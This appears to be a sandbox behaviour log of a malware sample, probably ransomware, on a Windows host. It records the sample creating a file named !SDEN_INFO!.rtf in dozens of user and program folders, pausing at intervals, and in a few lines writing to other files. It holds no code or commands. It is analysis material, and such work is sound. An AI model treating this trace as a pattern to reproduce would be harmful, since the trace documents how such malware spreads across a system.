File	Write	filename = C:\Users\FD1HVy\AppData\Local\Mozilla\Firefox\Profiles\w7cr0hor.default\OfflineCache\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Access\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Access\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Access\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\chrome\idb\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\chrome\idb\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\chrome\idb\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\moz-safe-about+home\idb\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\moz-safe-about+home\idb\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\moz-safe-about+home\idb\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Documents\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Logs\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Logs\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Pictures\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\Pictures\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Pictures\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\$GetCurrent\SafeOS\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\$GetCurrent\SafeOS\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\$GetCurrent\SafeOS\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\588bce7c90097ed212\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Pictures\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\$GetCurrent\SafeOS\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\588bce7c90097ed212\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\bin\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\bin\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\588bce7c90097ed212\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\bin\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Documents\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\bin\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\588bce7c90097ed212\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\bin\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Microsoft Office 15\ClientX64\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Microsoft Office 15\ClientX64\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Microsoft Office 15\ClientX64\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Documents\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Mozilla Firefox\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Mozilla Firefox\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Mozilla Firefox\browser\extensions\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\extensions\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\extensions\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Mozilla Firefox\browser\features\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\features\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Mozilla Firefox\browser\VisualElements\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\VisualElements\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\manifest.json, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Mozilla Firefox\dictionaries\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Mozilla Firefox\dictionaries\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Mozilla Firefox\dictionaries\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\588bce7c90097ed212\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
